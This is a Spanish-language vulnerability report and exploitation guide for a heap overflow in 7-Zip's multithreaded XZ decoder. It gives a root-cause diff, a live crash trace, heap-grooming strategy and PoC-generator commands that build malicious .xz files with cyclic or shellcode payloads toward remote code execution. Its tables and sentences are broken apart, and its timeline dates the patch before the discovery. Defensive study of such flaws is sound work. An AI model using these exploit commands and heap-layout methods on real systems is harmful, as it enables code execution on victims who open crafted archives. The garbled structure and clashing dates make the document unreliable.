
7-Zip XZ Decoder Heap Buffer Overflow - Análisis completo, causa raíz, PoC y hoja de ruta de explotación RCE
Severidad crítica | CVSS: 8.8 (Alta) | CWE-122: Desbordamiento de búfer basado en montículo
Afectado: 7-Zip ≤ 26.01 | Parcheado: 7-Zip 26.02 (2026-06-25)
Descubierto y analizado por: Li Yuxuan (liyuxuan504-byte) y su equipo
Existe un desbordamiento de búfer en el montículo en la ruta de decodificación XZ multihilo de las versiones de 7-Zip ≤ 26.01. Un archivo .xz manipulado de forma maliciosa puede provocar una escritura fuera de los límites más allá del búfer de salida asignado en el montículo, lo que conduce a:
STATUS_ACCESS_VIOLATION (0xC0000005)La vulnerabilidad reside en MixCoder_Code() en C/XzDec.c, donde la rama SingleBuf (outBuf) pasa un destLen2 sin comprobar al decodificador LZMA2 sin limitarlo contra la capacidad restante del búfer (outBufSize - outWritten).
Cualquier sistema o aplicación que utilice una versión vulnerable de 7-Zip (o 7z.dll) para extraer archivos .xz no confiables está en riesgo: la ruta multihilo está habilitada de forma predeterminada en sistemas multinúcleo.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(rama outBuf, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← SIN límite de contenedor
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← puede superar dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ bucle de copia por bloques LZMA2: memcpy(dic + dicPos, src, size)
→ dicPos supera dicBufSize → DESBORDAMIENTO DEL MONTÍCULO
Vulnerable (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← valor bruto, sin limitación!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← rastrea el total pero nunca comprueba
}
Corregido (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NUEVA comprobación de límites
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // inconsistencia de datos → abortar
destLen2 -= p->outWritten; // limitar a la capacidad restante!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
La corrección son 3 líneas. Resta p->outWritten (bytes ya escritos en este outBuf) de destLen2 antes de pasarlo al decodificador LZMA2, asegurando que el decodificador nunca pueda escribir más allá del búfer asignado.
En la ruta de un solo hilo, XzUnpacker_Code aplica su propio límite rem basado en unpackSize antes de llamar a MixCoder_Code. Este límite restringe correctamente la salida. La ruta SingleBuf multihilo omite este límite porque pasa destLenOrig directamente: el límite ascendente es ineficaz cuando destLen está preestablecido al tamaño completo de entrada restante en lugar de la capacidad restante real del búfer.
El outBuf se asigna en el montículo CRT mediante ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Asignador | Explotabilidad |
|---|
El enfoque de explotación más prometedor:
unpackSize pequeño (256–16384 bytes) para provocar la asignación LFHnext de la lista libre LFH → se logra una primitiva de asignación arbitrariaLos depuradores convencionales (x64dbg, WinDbg) alteran el comportamiento de creación de procesos. Bajo un depurador, 7z.dll puede no cargar nunca la ruta XZ multihilo: el proceso cae silenciosamente en modo de un solo hilo donde la vulnerabilidad no se activa. El enfoque requerido:
tools/)poc/poc-cve-2026-14266-rce.py es un generador de exploits XZ con todas las funciones:
# Confirmación de fallo (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Descubrimiento de offset (patrón cíclico):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Carga útil de shellcode:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Carga útil binaria personalizada:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multihilo (ruta vulnerable):
7z.exe x poc.xz -so -mmt=2 > NUL
# Un solo hilo (NO vulnerable — para comparación):
7z.exe x poc.xz -so -mmt=1 > NUL
Probado en: Windows 11 Pro x64 (compilación 26200) + 7-Zip 26.00
Idea clave: Todas las asignaciones en el rango LFH (≤16 KB) producen desbordamientos silenciosos: los datos de la carga útil se escriben sobre objetos adyacentes del montículo sin un fallo inmediato. Este es el requisito previo para la explotación RCE.
De una sesión en vivo de x64dbg (7-Zip 26.00, ruta MT):
Instrucción de fallo: mov byte ptr [rcx], r11b
Dirección de fallo: msvcrt.dll + 0x7B1EE (bucle interno de copia de bytes de memcpy)
VA de fallo (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes más allá del outBuf de 0x40000 bytes)
Estructura del decodificador (rbx = 0x12363B0BB00):
+0x28: base de outBuf = 0x12363C10000
+0x30: capacidad de outBuf = 0x40000 (262144 = unpackSize)
+0x38: cursor de escritura = 0x40000 (YA LLENO cuando comienza el desbordamiento)
Cadena de llamadas:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (bucle de copia de salida de decodificación LZMA2/XZ)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (entrada de decodificación XZ multihilo)
← ntdll.dll+0x1D141 (inicio de hilo)
C/XzDec.c)7z x -mmt=1 <archivo.xz>0xC0000005 durante la extracción0xC0000374)unpackSize declarado├── README.md ← Este informe
├── src-diff/
│ └── XzDec.diff.txt ← Diff de MixCoder_Code() 26.01 vs 26.02
├── poc/
│ └── poc-cve-2026-14266-rce.py ← Generador de PoC (cíclico/shellcode/bruto)
├── tools/
│ ├── 04-heap-analyze.ps1 ← Automatización MCP de x64dbg para la disposición del montículo
│ ├── 05-mini-debugger.ps1 ← Mini-depurador de la API de depuración Win32 en C#
│ └── 06-guard-dump.ps1 ← Volcador del montículo de página de guarda (análisis LFH)
└── docs/
├── 01-crash-point-analysis.md ← Traza de fallo en vivo (x64dbg)
├── 02-vulnerability-root-cause.md ← Análisis completo de la causa raíz
└── 03-rce-exploit-plan.md ← Estrategia de explotación RCE
Este informe es únicamente para fines educativos y de investigación de seguridad defensiva. El código PoC se proporciona para ayudar a los investigadores y defensores de seguridad a comprender la vulnerabilidad y desarrollar capacidades de detección. No utilice este código contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba.
| ≤ 16 KB | LFH (Montículo de baja fragmentación) | ★ Mejor para RCE — objetos adyacentes en el mismo depósito |
| 16–64 KB | Montículo de segmento (backend) | Posible — corrupción de la lista libre |
| ≥ 64 KB | VirtualAlloc (alineado a página) | Solo DoS — la página de guarda atrapa el desbordamiento |
| Capacidad |
|---|
| Estado |
|---|
| DoS (fallo) | ✅ Confirmado, fiable en 7-Zip 26.00 x64 |
| Desbordamiento silencioso del montículo (LFH) | ✅ Confirmado — escribe más allá del búfer, código de salida 2, sin fallo |
| Entrega de carga útil controlada | ✅ Totalmente controlable mediante los datos del bloque de copia LZMA2 |
| Primitivas de disposición del montículo | ✅ Concepto probado — requiere ajuste de disposición específico del objetivo |
| Cadena RCE completa | ❌ En curso — necesita análisis de disposición del montículo en el objetivo |
| Parámetro | Descripción | Recomendado |
|---|
--unpack-size | unpackSize declarado del bloque (= tamaño de asignación de outBuf) | 256–4096 para RCE por LFH |
--overflow | Bytes totales a escribir más allá de outBuf | 4096–32768 |
--chunk-size | Tamaño de datos del bloque de copia LZMA2 (1–65535) | NO debe dividir uniformemente unpackSize! Usar un primo (97) o --force-align-overflow |
--payload-cyclic | Patrón cíclico para descubrimiento de offset | Usar primero, luego reemplazar con la carga útil real |
--payload-shellcode | Incrustar shellcode Win x64 WinExec("calc.exe") | ~276 bytes |
unpackSize | chunk_size | Desbordamiento | Resultado |
|---|
| 256 KB (0x40000) | 4096 (alineado) | ~32 KB | 0xC0000005 — violación de acceso (página de guarda) |
| 256 KB | 3 (DoS original) | ~30 KB | 0xC0000005 — violación de acceso |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — corrupción del montículo detectada |
| 256 B | 97 | ~1 KB | Salida 2 — desbordamiento silencioso! |
| 4 KB | 97 | ~16 KB | Salida 2 — desbordamiento silencioso! |
| 16 KB | 97 | ~32 KB | Salida 2 — desbordamiento silencioso! |
| Fecha | Evento |
|---|
| 2026-07-24 | Vulnerabilidad descubierta y confirmada en 7-Zip 26.00 |
| 2026-07-24 | PoC de fallo desarrollado; la depuración en vivo confirma el desbordamiento del montículo |
| 2026-07-24 | Causa raíz identificada: falta destLen2 -= outWritten en MixCoder_Code |
| 2026-07-24 | Generador de PoC RCE desarrollado con estrategia de explotación LFH |
| 2026-07-25 | Informe de análisis completo publicado |
| 2026-06-25 | 7-Zip 26.02 publicada con la corrección |